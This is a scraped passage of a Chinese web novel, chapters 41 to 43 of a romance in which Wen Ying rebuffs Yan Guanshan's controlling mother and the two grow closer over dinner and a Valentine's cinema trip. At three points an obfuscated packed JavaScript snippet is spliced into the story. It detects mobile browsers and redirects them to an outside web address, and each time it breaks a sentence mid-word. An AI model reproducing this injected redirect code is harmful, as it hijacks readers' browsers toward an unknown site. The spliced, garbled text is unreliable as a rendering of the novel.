晏关山顿了下笑出声:“我跟你保证,我家皮皮不会到处乱说的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655464|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
皮皮:“汪!”
闻影就无语。
他竟然在狗子面前害臊,但是做那些事的时候,屋里还有第三者,哪怕是条狗,这也是不对的!
“说什么?”听见狗叫,一大帮子人闻声找过来,人人撸了一把皮皮的狗头,费彦问,“看见啥了?”
闻影:“……”
晏关山平静道:“没什么,开玩笑呢。”
“害,你们哥俩还有悄悄话了,狗能听我不能听,三儿,我还是不是你兄弟啊?”费彦边说边把浴袍脱掉,一个猛子扎进闻影旁边,砸起一个大大的水花。
闻影被砸得一脸水,抬脚想蹬,水里没什么力道,干脆跳起来摁他的头,两个人在水里打了一阵,费彦告饶了他才罢手。
闻影把刘海潇洒地往后一撸:“就你特么屁话多。”
“那也不能真打呀。”费彦委屈巴巴地揉着胳膊,“下死手啊你,我那不开玩笑的,戳你肺管子了?”
“可能还真戳了。”边屹找了个离战场远的地方下水,就在晏关山旁边点,这个角度看过去,闻影再怎么闹腾完事儿都贴着晏关山泡在一起,“费费,劝你少说几句,他起床气一向大。”
费彦不听劝,在水下毛手毛脚挑衅,闻影玩心起了就跟他闹着玩儿,晏关山怕他一猛子滑进去呛水,单手搂着闻影的肩。
许寰和边屹对视一眼,许寰说:“起床气也分人。”
边屹却小声地答非所问:“小攸那嘴怕不是开过光吧,一会儿让她也给我算算?”
许寰问:“你要算什么?”
边屹眼骨碌直转:“脱单。”
“不用她,我也能算。”许寰笑着说,“你快了。”
边屹看着远处战况激烈,拖着长音问:“能不能信啊?”
“我就这么一说。”许寰语带笑意,“你就这么一听吧。”
一群人打打闹闹在农家乐玩了两天,眼看两位可怜的上班族得回去务工了,众人才消停下来收东西准备走。闻影被晏关山打发去前台退房,他自己扛箱扛包装车。
路过前台往闻影裤兜里塞了个东西。
“什么玩意儿?”闻影摸摸兜。
丢三落四的毛病这辈子怕是改不掉了,晏关山留后搜房间搜出来一堆他的东西,他滑着箱子头也不回地往外走,说:“你从球球那讹来的糖,藏枕头底下,好不容易讹到一颗,赶紧吃。”
“哦。”闻影笑了下,掏出来撕了纸就塞嘴里,跟个小孩儿似的。这糖咖啡味的,不怎么甜,裹在嘴里又苦又香,边吃边看晏关山忙前忙后,莫名甜滋滋。
手机震了下,闻影拿出来看,微信名让他愣了半天。
[云淡风轻]:闻影,你好。
是特么谁?
不认识的人闻影一向是不加的,正打算点开头像立马删除,对方紧接着又发一条。
[云淡风轻]:我是晏关山的母亲,有关他的事想跟你谈谈。
闻影感到莫名,上次见面他嘴脸挺难看的,这晏母怎么还敢找他说话?
[景三]:没空。
[云淡风轻]:你不要抵触,时间不合适我可以等,约你有空的时候。
[景三]:没什么好谈的。
[云淡风轻]:阿姨看你和他关系挺近,想必是很好的朋友,我只是想请你帮一帮晏关山,他问题很严重,具体的情况见面聊,可以吗?
闻影把这段话反复看了好几遍,不知怎么的就是火大,这晏父晏母不论是说话还是打字,三句话以内绝对会戳到闻影愤怒的神经,怎么听都不是滋味儿。
可他想起晏关山说过的那些往事,忽然就有点替他憋屈。
这么说虽然没素质,可闻影就想知道狗嘴里能吐出什么象牙。
[景三]:行,收假,哪见?
41.第 41 章
大学生假期挺长,但对要兼职的人来说,七天春节假一放完也得灰头土脸去干活。
闻影硬是拖了好几天才答应晏母见面的要求,出门前微微捯饬了一下,把狼尾扎起来,看着没那么混,这才去赴约。
按说在晏母那里,自己留给对方的印象应该已经跌入谷底了,穿衣打扮再搞出花也不能改变什么,可是闻影今天就是想稍微让自己看上去乖一点。
到了玉大门口的咖啡馆,闻影扫了一眼那辆熟悉的库里南,推门走进去。
晏母一身精致的职业装端庄地坐在窗边喝咖啡,见到闻影来,她伸手示意了一下。
“喝什么?”晏母笑意淡淡。
“点过了。”闻影双手插在大衣兜里,坐下翘起腿,又不自在地放下,“要说什么说吧。”
晏母道:“我们见过两面了。”
闻影从鼻孔里出气:“嗯。”
“两次都不是太愉快。”晏母说。
闻影没搭腔。
就你们俩这讨债一样的德性谁见了能愉快?
晏母捏着小勺搅动着咖啡道:“也怪我们唐突了,家庭矛盾置于人前,是不体面。他爸大年夜被气出高血压,后来住院了几天,这些年他和我们断绝关系,家也不回,情况有多糟糕你也见识过,所以希望你帮帮他。”
闻影没听明白:“帮?帮他什么?”
晏母:“帮他调整情绪,缓和家庭关系,最好把我们的意愿传达给他,看你俩关系比较好,你说的话或许他听得进去。”
闻影直言:“我并不认为他需要人帮,你觉得的问题,在他那怕是根本没当回事。”
“当然是问题。”晏母不容置喙道,“他情绪病非常严重,抵触亲密关系到了仇恨的地步,用自己的前程和父母赌气,我苦于没有机会带他去看心理医生,现在他根本不愿意见我们。”
“如果你肯帮忙,我们也不会亏待你。”晏母话锋一转,“希望你别介意,我找人打听了你的情况,学画画经济压力不小,如果还要继续深造,生活费加上学费是笔不小的数目,光靠兼职和那点抚养费,支撑不了几年。”
找人查我底细?
闻影冷下脸来:“所以呢?”
“我和他爸商量过了,可以提供你结业前的所有费用,包括学费和生活费,最好是出国深造,钱你不必担心,不过这些事要对晏关山保密。”晏母道。
卸磨杀驴,用钱封口。闻影听懂了,他忍着脾气没发作,问:“你们到底想要我去说什么?”
晏母深吸了一口气,表情严肃起来:“第一、劝他回家,第二、放弃考博转我们指定的专业读研,第三、转让宠物医院,到家里公司工作,第四、接受家里安排的相亲,尽快订婚。”
闻影听笑了,是真的好笑。
他以为晏母所谓的“帮助”至多也就是让自己站在朋友的立场上劝几句。
等这条理分明的一二三四列完,才明白晏母晏父确实比他听到的更不可理喻。
和晏母面对面坐着,闻影一点没觉得自己是对方儿子的朋友,是小辈,而是在谈判桌上,晏母是甲方,闻影是乙方,谈的是晏关山没错,可在对方嘴里,儿子好像最多只能算是个合同里的标的物。
话里的冷漠和强势,超出了闻影的想象。
他端起一抹玩世不恭的笑问:“这么大的事儿,你凭什么觉得我能说动他?”
晏母无奈笑了笑:“试试总没错。”
闻影讥讽:“病急乱投医。”
晏母依旧淡淡说:“他以前从不交朋友,却能和你走得近还带回家,起码说话有一定分量。”
“看来你也找过许寰,碰壁了吧?”闻影挑眉。
晏母笑容僵了僵:“许寰毕竟和你不一样,他什么都不缺,自然开出的条件没那么大吸引力。”
闻影心想,我也没穷到那个地步吧。
就算真穷得要饭,也不吃你晏家这口人血馒头。
闻影翘起二郎腿,两手一抱:“帮不了。”
“条件不满意?”晏母表情未变,“我听说了些情况,你和高利贷有些瓜葛,晏关山受伤和这事有关,债务可作为条件事后追加,我认为这样足够有诚意了。”
“跟钱没关系。”闻影越听越不是滋味,“在你眼里,晏关山到底算不算个人啊?”
晏母一愣:“这是什么话,他当然——”
“是人,就有喜怒哀乐,个人好恶,难道想从他出生到死,都由你们安排,一点选择都不给他?”闻影笑了声,“这叫人啊?连个狗都不如。”
闻影想起什么又道:“不对,忘了在你们晏家,狗都不配活着。那他看来都不能算个活人。”
晏母脸色铁青:“我们从未亏待过他,从小衣食住行有阿姨伺候,物质条件更是许多家庭不能比的,以前他学业从没让我们操过心,当然,这也离不开家里能给他配备最优良的师资辅导,念最好的学校和班级。可他给我们的回报与付出不成正比,仅仅是因为我剪除妨碍他生活学习的不利因素,他就一定要跟我们拧着?”
晏母反问:“闻影,如果是你在我们这样的家庭,难道会舍得断绝关系什么都不要,离家出走吗?”
“这种家我一秒都不会多待,他忍了十八年,我佩服。”闻影想都没想道,“你们打着为他好的名义把人圈起来,有问过一句他愿意吗?”
晏母执拗道:“他的个人意愿不重要,他首先是我们的儿子,是儿子就得服从听话。”
“我真特么吃多了来这儿浪费时间。”闻影嗤笑一声,终于忍无可忍站起来要走。
晏母依旧端庄优雅地安坐一处,她本就没报多大希望能通过闻影劝回儿子,但一项不通,还有另一项必须说清楚的事。
“闻影,既然你不能帮助他,那我认为你最好离他远一些。”晏母平静的声调里,字字句句出离冷漠,“你这样的家庭出身,对晏关山百害无利,他因你的事受伤我可以不追究,但是希望你听劝,不要再和他有过深的来往。”
闻影愣了下,嬉皮笑脸转过身:“你管不了他,更管不着我。”
“你在害他!”晏母愤怒地指责。
“害就害吧。”闻影说,“反正你儿子挺乐意。”
说完闻影头也不回地往外走,好好的一天全被晏母的谈话给破坏了,他觉得这口锅务必要扣在晏关山头上。
掏出手机打算无事生非的闻影,才点开微信,背锅侠就主动找上门了。
[Y]:肚子好饿。
闻影莫名其妙得很。
[景三]:我又不是美团,跟我说有屁用。
[Y]:一起吃个饭,我来接你。
[景三]:不饿。
[Y]:我饿了,做了两台手术呢。
[Y]:[流汗]
[景三]:自己吃去。
[Y]:一个人吃,不香。
因为这个逗号,显得不香俩字儿像是被反复强调,闻影莫名被戳中笑点。
有的人追人生硬,撒娇更生硬,透着一股没有技巧全是感情的粗糙。
本来就是要甩锅给他,闻影傲娇拒绝了几句勉强答应吃饭。
[Y]:我现在来你家接你?
[景三]:我在学校。
[Y]:等我。
咖啡馆在北门,平时闻影习惯进出南门,离美院近,晏关山的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686304|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
医院在南门旁边那条街。闻影不打算跟晏关山说和晏母见面这件事,他动身往南门走,越走越快,到后头竟然哼哧哼哧地跑起来。
衣服穿得有点多,跑到南门一身汗,弯腰喘了会气,车就开到了他面前,晏关山下车扶他,笑着问:“有鬼追你?”
有,你妈像个讨债鬼。
闻影摸了下额上的汗:“吃什么?”
“我订好了,先上车吧。”晏关山道。
闻影去副驾坐好,系好安全带,晏关山递给他一瓶水,站在门边说:“等我一下。”
闻影忙灌水胡乱应了声,这人半天没上车,跑到车尾打开了后备箱,一开一关,整个车身跟着摇晃,闻影没多想,手肘撑在门边抵着太阳穴想眯会儿,侧门突然被人从外头打开。
他一个踉跄差点扑出去,被一团又软又凉的东西给堵了回来,眼前骤然出现一片黄澄澄的……花?
闻影愣住,抬眼,晏关山抱着硕大一捧向日葵,像个傻子一样戳在门边笑。
闻影心说,你这傻大儿可是上赶着要我害他。
怪谁?
晏关山笑得很腼腆,甚至能从他眨眼的速度看出局促,偏偏今天出着太阳,黄澄一片的向日葵反射着暖色,照得人像个十几岁的少年,绽放着明亮的笑,打在闻影心上。
晏关山抿了下唇:“送——”
“你敢说是送老子的把你头打掉。”闻影语出惊人,脸却火速红成番茄,“半天不上车你就是去捣鼓这个?当我是姑娘?有病啊。”
“没说不能送男人花吧。”晏关山眨眼速度加快,“是不好意思在这收?我特意抱过来,用门挡着的。”
闻影贼眉鼠眼地往四周看了一圈,就这么离谱一大捧向日葵,想不引起注意都难,一破车门挡得住个屁。虽说还在放假但正是中午外出觅食的时间,不少学生好奇地看过来,还笑眯眯地蛐蛐。
晏关山完全不在意外界,专注盯着闻影,把花往上抬了抬:“收下,男人也可以收花,你教的。”
闻影:“……”
晏关山垂眸说:“我怕是没机会再收了,收不到可以送,我就想送你这个。”
闻影警觉:“你还藏了什么?”
晏关山忍着笑:“小蛋糕,但找不到同款,叫人做了个类似的。”
话音刚落,晏关山背着的那只手就举起来,他拎着一个透明的蛋糕盒子,蛋糕上头趴了一只小橘。
太蠢了,又是花又是蛋糕,弱智往这儿路过都知道此时此地这里在示爱。
想到示爱这个字眼闻影没来头地眼皮跳,胡乱把花抱住还顺手抢过蛋糕,嘴上忙不迭道:“滚上来开车!”
车子从校门口呼啸而过时,不远处停着的库里南升起后车窗。
车内的女人呼吸越发沉重,刚才发生的一切都被她看在眼里,永远冷若冰霜没什么表情的晏关山,在别人面前,会羞涩会献殷勤,真高兴那笑也是会挂脸上的,她甚至能清晰地看见副驾驶座上的闻影偏过头对着窗外笑。
当时在家里看见二人彼此回护的举动,她就觉得古怪,还以为是自己太敏感,现在事实告诉她并不是敏感。
她养了十八年叛逆离家的宝贝儿子,已经不止是在生活和前程要跟他们分道扬镳,如今恐怕还有更不可接受的事在发生。
晏母快要窒息了。
“叶总。”司机低声提醒,“是回公司还是回家?”
“去玉大。”晏母心绪难平,车子刚发动她又说,“算了,回公司。”
她捏了捏眉心,喃喃自语:“我有重要的事要找晏董,通知他秘书我半小时后到,不管有什么会都往后稍稍,让晏董在办公室等着我。”
42.第 42 章
酒店的艺术总监要请闻影吃个晚饭,项目已经完成了,他们很满意,打款打得也快,闻影第一次接这种兼职,和对方合作比较愉快,也就答应了。
尾款一结,他立马给罗虎转过去。
罗虎就跟狗皮膏药一样,收了假没几天就又反反复复地黏上来,但因为有晏关山那档子事,后来罗虎的态度明显好了许多,收到钱一高兴,甚至还舔着个脸约他俩喝酒。
闻影当然是不会去的。
他照着晏关山说过的话,该留存的证据一一保存好,当然也并没有把所有赚到的钱给了对方,晏关山那打过去的款闻影不可能不挂心,他自己存了些,加上已经不多的积蓄,这钱总要还的。
书房墙角那捧向日葵依旧绽放得无所顾忌,都拿回来一个多星期了,一点不见枯败。收花的人虽然嘴上嫌弃,抱回家来,立刻就把洗笔用的大桶洗刷干净,将向日葵都好好插进去。
每天坚持换水,还搜索了怎么让花更持久一些的方法,这才让晏关山的心意一直绽放在墙角。
就在一步开外的画架上,还有刚刚画好的向日葵,闻影不学梵高,画那么一两支难以表达他见到这捧花时的心情,他把画布用明黄填满了,每一个缝隙都有向日葵的花瓣和叶子,奇形怪状的叶片花瓣层层叠叠,层层叠叠都是画上去的明亮色彩,强烈炽热的暖色调,是收花人那一刻的心。
闻影穿好衣服准备出门,路过书房看见花,下意识就掏手机发微信。
[景三]:晚上要和艺术总监吃饭。
[Y]:喝酒吗?
[景三]:他要喝就喝点。
[Y]:快吃完给我发微信,我接你。
[景三]:。
句号就代表知道了,知道了意思就是等你接。闻影现在再也不抵触和晏关山联系,虽然百分之九十的情况下是对方主动,约他吃饭,约他过周末,约他洗狗洗猫,约他打游戏。
微信虽不是全天候叮叮咚咚响,但只要晏关山忙完手头工作,就会没话找话地发信息过来,不爱聊天的闻影却不觉得对方烦,以前十句搭理一句,现在五句回一句。
已经是破天荒的进步了。
吃完饭从餐厅出来,已经快九点了,天早就黑透,闻影一出门就瞧见晏关山的车,跟艺术总监道了别,他径直朝亮着灯的车走去。
一坐上车,闻影发觉自己身上的酒味还是挺浓的,他吸了吸鼻子,一边嘟哝一边系安全带:“洋酒就是味儿大,我开个窗啊。”
“不难闻,别开窗了,喝了酒本来就热,一会儿吹感冒的。”晏关山递过去一个杯子,“喝吧。”
柠檬汁,解酒神器,闻影酒劲儿正上来,他吨吨吨灌下一整杯,舒舒服服晕晕叨叨地就睡着了。
被叫醒时已经到了地方,晏关山拿湿巾帮他把额头上的汗擦干,凉得人回过神,闻影才问:“吃什么呀?”
“老黄的大排档,不早说了带你来一次么。”晏关山垂眸看了眼他衣服,“拉链拉上,下车。”
六年没来,招牌换了,字儿没变,拿手菜还是那么几个,张贴在墙上的菜单依旧被烟熏火燎得一层厚厚的油脂,老黄在灶台后面颠勺,脖子上挂了块儿毛巾,满面油光,皱纹多了不少。
老黄老了。
闻影插着兜往人跟前儿一站,老黄头都没抬:“吃什么?”
“海鲜粥多放虾米,酸辣馄炖不放醋,葱花香菜多来点,不要姜。”
略微耳熟的声音让老黄倏然抬头,看见闻影的脸时还是愣了半天:“景三儿?是你吗小景,哎呀多少年没见你了!”
老黄手上动作没停,笑得一脸灿烂,闻影摸了摸鼻子,没打算纠正自己的名字,拍了下对方的胳膊:“这不找着来了嘛,一会儿空了过来喝一杯?”
老黄点点头,笑眯眯问晏关山:“小晏吃什么?还那几样?”
晏关山道:“有点饿,虾饺烧麦都两屉吧。”
老黄声如洪钟地说:“好,你们找地方坐着,我一会儿过来。”
大排档店面很小,但马路边支着的桌子很多,这里离市区远,所以家家都恨不得摆到路中间,虽然卫生差点,烟火气是十足十的浓。
闻影一到这种地方身心都会放松,他长腿一伸,碰碰晏关山的腿:“要给你涮涮碗碟么?”
“不用。”晏关山撕开一次性碗筷的包装,摆放好说,“臭毛病都改好了。”
“讲究也不算臭毛病。”闻影道,“之前不知道你是大户人家的少爷,想一穷小子瞎讲究什么,有吃的就吃呗。”
“再大户也跟我没关系了。”晏关山平静地说,“不过老黄是例外,他做得好吃也干净,环境倒是其次,那些外卖还不如这儿,你要懒得做饭,也少点外卖。”
闻影:“不点外卖我喝风啊?”
“来我家吃。”晏关山理所当然道,“或者我去你家做也行。”
“想得美!”闻影白他一眼,嘟哝,“铺垫半天是想登堂入室,啧,少管我!”
菜陆续上齐,闻影慢条斯理地吃着,他吃过晚饭确实不太饿,不用专心吃饭就有闲情逸致打量别人吃饭,晏关山吃得斯文,动作慢吞吞的,但吃得可不少。
闻影咋舌:“你是一天没吃饭了啊?”
“差不多,早上出门喝了李姐煮的粥,今儿唯一的饭。”晏关山说。
闻影看他确实饿伤了,好奇:“忙什么?”
晏关山耐心地给他介绍,一天干了多少种活,许多医学专业名词听着又厉害又艰涩,闻影基本上没听明白,他只知道,晏关山这样忙碌是常态,手术刀捏着就是生死大事,每一刻他都郑重待之,只不过在某些人眼中,事关宠物,总觉得上不了台面。
闻影却听得津津有味,见他吃得香,忍不住也跟着吃几口,想起今天晏母说的那堆话,和眼前饿着肚子也要认真工作的晏关山,闻影叫来服务员又点了不少东西。
晏关山拦他:“吃不下,别点了。”
“吃不下就带走。”闻影不容置喙,“我点的,你最好吃完。”
晏关山乖巧道:“好,我吃。”
不一会儿老黄拎着一瓶啤酒和两杯东西过来,坐下就道:“我自己做的双皮奶,你俩喝这个吧,开车来的就不叫你们喝酒了。”
闻影不跟他客气,拿过来就喝,皱了皱眉:“你少放点糖吧,多大岁数了不怕糖尿病啊?”
“臭小子。”老黄打量他半天,“几年不见,长大了。”
“那不废话么,我能倒着长?”闻影抓抓脸问他,“你怎么样。”
“害,就那样儿呗。”老黄喝了一杯酒,开始絮叨。
两个人一阵寒暄,晏关山就听着,老黄认识闻影在他之前,据说闻影更小的时候就算熟识了,那时闻影年纪不大架没少打,想起该吃饭时只有烧烤摊和大排档还开着,老黄瞧着他小小一个总鼻青脸肿的没人管,就偷偷给他加餐,炒河粉里半盒是牛肉,虾饺一屉塞双份,一来二去就熟悉了。
这些事老黄也跟晏关山讲过,只是老黄也不清楚闻影的家事,只说孩子从小野得很,嘴巴不饶人但心特好,老黄有一次摔到脚,闻影那阵总在店里最忙的时候来吃饭,吃完不走,给他当店小二端盘子收碗。
所以晏关山找不到闻影那段时间,从老黄这打听了不少他不知道的闻影的过去,虽然不多,老黄乐意反反复复说,他也就反反复复听。
闻影搂着老黄好奇地问:“你老婆呢?”
“跑啦。”老黄嘿嘿一笑,“不然你以为我为什么关店,她跑了我去找啊。”
闻影一愣:“没找着啊?”
“找着了,她不想回来。”老黄还是笑着,“跟我只能过苦日子,谁想回来啊。”
闻影没张嘴劝几句,没必要,老黄能笑着说出来,店也重新开张了,那指定是已经想明白,挨过去了。
老黄一手搭在晏关山肩上,扭过头看着闻影:“说说你,你又为什么跑啊,害他到处找。”
闻影噎住。
老黄:“我老婆跑了是怕吃苦,你是为啥?那会儿你俩不是挺好么,下班你随时给他带吃的回去,你跑出去打架大半夜的小晏还搁街上找,日子不该苦啊,为什么跑?”
晏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711546|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
关山听了直笑,也不说话,闻影狠狠瞪了他好几眼,架不住老黄一直念叨着烦,他道:“哪那么多为什么,烦了就跑了呗,他烦人。”
“别跑了,好好过,有这么一朋友记挂多好的事儿啊。”老黄用酒杯撞了下双皮奶,“我找着人了不好受,小晏找不着人也不好受,你躲着,也不好受吧?”
闻影看了一眼晏关山,对方也看着自己,闻影撇撇嘴,在老黄反反复复的“以后别跑了”的问句后面,含糊地应了声:“知道了,真特么啰嗦。”
老黄高兴就喝了几口酒,感慨完人生还得继续做生意,他走了之后,闻影把包里文件袋掏出来推到晏关山面前:“我给罗虎那孙子又打了十万,前前后后加上你的,他都讹了五十多了吧,你帮我问问律师,这个数能顶格判了吗?”
闻言晏关山一愣。
闻影勾勾下巴:“所有你让我保留的证据都在这儿,你先拿着。”
晏关山擦干净手才去打开文件袋,看完道:“我问清楚律师朋友再给你答复,这些不用给我,到时候直接交给警察。”
“你拿着吧。”闻影坚持道。
晏关山细不可查地皱了下眉头,他把东西收下,稍稍抬高了些手机,给一个陌生号码发去短信。
闻影也无聊把手机摁开,刚就看见群里艾特,爬完楼,是边屹邀约大家一起看电影的,贺岁档电影扎堆上映,恰好费彦二月底就要回工地去了,这也没几天了。
[边边小叮当]:密室逃脱你三哥不喜欢,光吃饭喝酒又差点意思,总不能去丢飞盘露营吧,时间不够,我看就看电影合适。看完找地方吃喝,怎么样这个安排有没有很棒棒,大家吱个声!@所有人
[你彦哥]:只要约上球球,逛公园我也奉陪。
[孩子王]:看电影挺好,我听你安排。
[边边小叮当]:[亲亲]
[边边小叮当]:球球约好了。@你彦哥
[你彦哥]:你是我哥。[抱拳]
日常在群里最沉默的两个人被自动默认为参与,边屹都懒得私聊他俩,快进到选座位阶段。
闻影看了眼晏关山,对方低头发着信息,恐怕是在处理工作。
[景三]:谁大白天看电影,订晚上的。
[边边小叮当]:我们学生不趁着白天看,难道晚上去和上班族挤啊?
[景三]:我就喜欢跟人挤。
[景三]:不订晚上我不去。
[边边小叮当]:得得得,你是我爷,那我去看看晚上的票,时间合适我就直接买了哦。
闻影拽兮兮回完就没再看,倒是听见晏关山笑着说:“其实白天也可以,我能翘班。”
被当事人看穿心思,闻影嘴硬道:“谁管你翘不翘,我就是喜欢晚上看,咋滴?”
晏关山学他讲怪话:“不咋滴,吃完了咱走吧。”
找老黄付了钱,说好以后常来,他们一齐往停车场走去。
夜里凉风一吹,闻影的酒彻底醒了,他和晏关山肩并着肩,只轻轻抵着,隔着衣服却好似还是能感觉到对方体温。
像是回到了过去,没有分别过的生疏,也没有那些乱七八糟的误会。
他俩还是他俩。
晏关山笑着晃晃文件袋说:“我还是挺意外,你肯主动跟我说这些了。”
闻影目视前方:“我是听老黄的话。”
晏关山没明白:“嗯?他说什么了?”
“好好过。”闻影臭着一张脸,摆出无可奈何的模样,重复一遍,“以后好好过,所以我跟你说这些。”
晏关山脚步一顿,把对方插在衣兜里的手提溜出来:“闻影。”
“你敢在这动手动脚老子绝对不客气!”闻影扬着下巴,却并没有甩开手。
晏关山试探道:“那牵一下。”
他分明看见闻影的嘴角扯着想笑,又补充:“就牵到停车场。”
“屁事多。”
闻影白了他一眼,顺势反扣住晏关山的手踹回兜里,热乎乎的,他们偷偷十指相扣,在这漫漫长夜,大步流星往前走。
43.第 43 章
“你俩不对劲。”
“你俩真的不对劲!”
“三哥,说好脱单第一个告诉我,你还认不认我这个妈的?”
从吃饭到去电影院,边屹拉着闻影一个劲儿地絮叨,吐出来的词一个比一个可怕,听到“眼神拉丝”这四个字时闻影忍无可忍地摁着他假装胖揍了一顿。
揍完又想和他讲故事,毕竟追人未遂的那件伤心事边屹是知道的,直到现在边屹还认为闻影心里惦记着渣男,这段时间的心理变化,闻影也只有跟边屹才能聊上几句。
到了电影院,那点想和兄弟探讨感情问题的心思荡然无存,因为这影院不止位置偏到郊区,装修还特别诡异。
死亡芭比粉的灯光一照,闻影总觉得这地方不可能放什么正经片子。
闻影黑着脸问:“你怎么不直接订情趣酒店呢,拉个幕跟这儿有什么区别?”
费彦也叹为观止:“我是进城少了,但也没想到你们城里人现在看个电影都玩那么花,欸,边妈,咱座位不会是水床吧?”
边屹嘟着嘴气得一人给了一脚:“订票的时候一问一个不吱声,现在又尽挑毛病,那不是闻影顾着……嗯的时间非要看晚上的么,晚上的票那么紧我抢不到了,只有这儿的还有,来都来了,给我看!”
“我觉得挺好的呀,很有氛围感。”球球附和道。
费彦傻兮兮问:“什么氛围?”
边屹恨铁不成钢地看了自家兄弟一眼。
就你这脑子还追妹,趁早出家得了。
一旁的许寰提醒道:“今天情人节。”
“你不知道我买票多难买,这能抢到是因为贵!贵知道吗!”边屹委屈巴巴,“这影院全国连锁的,不是什么野鸡影院,我家许寰哥请客,你们嘴上都积点儿德。”
许寰莞尔一笑:“走吧,我陪你去兑票。”
边屹边走边回头操心:“离进去还有四十分钟你们把吃喝买好该玩玩记得看时间回来哦!”
费彦也是刚知道情人节,自己两手空空,旁边人人不是玫瑰就是玩偶,显得他这臭直男就很寒碜,索性拉球球去玩娃娃机。
闻影和晏关山被落下了,闻影抱臂还在看着边屹的背影,狐疑地摸下巴说:“他俩才不对劲呢,欸,晏关山,问你个事儿。”
他伸指头勾着晏关山衣服,晏关山勾头过来:“什么?”
“许寰是不是……”
“是。”
闻影眼珠子一转,转回身边人脸上:“你们……”
“我请他帮忙找人,早跟他说了。”晏关山看闻影眼神儿不对,警铃大作立刻追加解释,“撞号了,别多想。”
“撞——”闻影噎住。
晏关山定定看他几秒,以为他不懂,便说:“这里不好解释,要不你搜搜看?我去买喝的。”
闻影不是不懂,算起来他gay的时间可比晏关山久,怎么会连这个都不懂。但晏关山刚才自信的语气,有哪儿总觉得不对劲,闻影迷瞪瞪地琢磨,一头撞在晏关山后背上。
晏关山回身把人一揽:“买三个情侣套餐吧?省事儿。”
闻影脑子里飘着“1”和“0”,以及各种花哨的体位,突然打通任督二脉,想通刚才那句话哪里不对劲了。
晏关山竟然默认自己是1!How dare you!
闻影红着脸瞪他:“要普通套餐!超普通的那种!”
服务员微笑着解释:“先生,今天只有情侣套餐,节日嘛。”
“我管他节……”闻影话都没说完,被晏关山拉到后背,猪八戒背媳妇似的反手抱住了。
“没事,就情侣套餐,三份,谢谢。”任背后的人七手八脚地挣扎,晏关山也只是宠溺地侧过脸说,“别闹脾气,买好吃的给你吃。”
等两个人双手都抱满东西几乎快拎不下时,闻影才后悔没继续闹一闹,买什么狗屁情侣套餐,光薯片就八个口味,两人一份水桶大的爆米花,巨无霸可乐,六个冰淇淋,还有三只头戴玫瑰身穿蕾丝蠢得没边的玩偶熊。
这特么不是看电影,是来吃席的。
把东西都放在桌上,一看时间还有二十分钟,球球费彦满载而归,妹子两手抓着许多战利品笑得很开心,费彦指指不远处的娃娃机得瑟:“我是第二没人敢说第一,边妈不服,上头了。”
闻影顺着看过去,挑眉问:“他不服,怎么抓娃娃的是许哥?”
球球笑着答:“边边想要娃娃,许哥给他抓呢。”
晏关山扭过头悄声问:“你想要吗?”
闻影一撇嘴:“我想不想要你都抓不起来,你那臭水平——欸!”
晏关山叫费彦看着吃的,一把拉起闻影就去了娃娃机,扫码买了一堆币,在许寰旁边的机子站定。
闻影抱臂重申:“老子不要!”
“我想要。”晏关山投币启动,拨动摇杆,“许寰都抓起来了,我也要抓起来。”
闻影无语:“你是小学生吗?”
晏关山扭头看了一眼边屹拎着的娃娃,再转回来道:“球球和边屹都有礼物。”
闻影:“……”
所以我就得也得个丑娃娃?
晏关山玩得很认真,但水平确实臭,闻影以前带他去过游戏机厅玩这些东西,他就跟刘姥姥进大观园一样,对什么都新鲜却也生疏,晏母不允许他接触任何妨碍学习的娱乐项目,自然长这么大连投币机都没碰过。
闻影当年给他抓过娃娃,他自己一只都没抓起来过。
见他微微勾着头,神色紧张地拨动每一次摇杆,一会儿专注一会儿遗憾,闻影不免觉得好笑,许寰那边结束了,和边屹围过来观战,叽叽喳喳地在一边指挥,晏关山每次抓空三个人都一齐叹气。
离开场还五分钟,闻影受不了了,挤到晏关山旁边开始指挥:“投币,最后一次。”
晏关山听他的,拨动摇杆时问:“抓哪只?”
“我来。”
闻影直接将手覆在晏关山手背上,掌心贴着对方轻轻转动,晏关山忍不住看了他一眼,眼睛在娃娃上提溜转的人并没有察觉被人打量,晏关山看得肆无忌惮,从长睫到鼻尖,最后落在轻轻咬着的下唇上,晏关山喉头滚动,计算着如果现在突然亲他一口被当场殴打的概率有多大。
“按!”
闻影忽然开口把晏关山叫回了神,他一拳头锤在按钮上,旋即抓勾下降,抓住猎物,小心翼翼移动到投放口,爪子松开,咣当一声,晏关山终于有了收获。
他弯腰掏出玩偶,哑然失笑。
巴掌大的一只趴趴狗,和球球边屹的比起来小得可怜,晏关山找到闻影上衣胸口处的口袋,把趴趴狗塞进去。
“以后练练,给你抓个大的。”
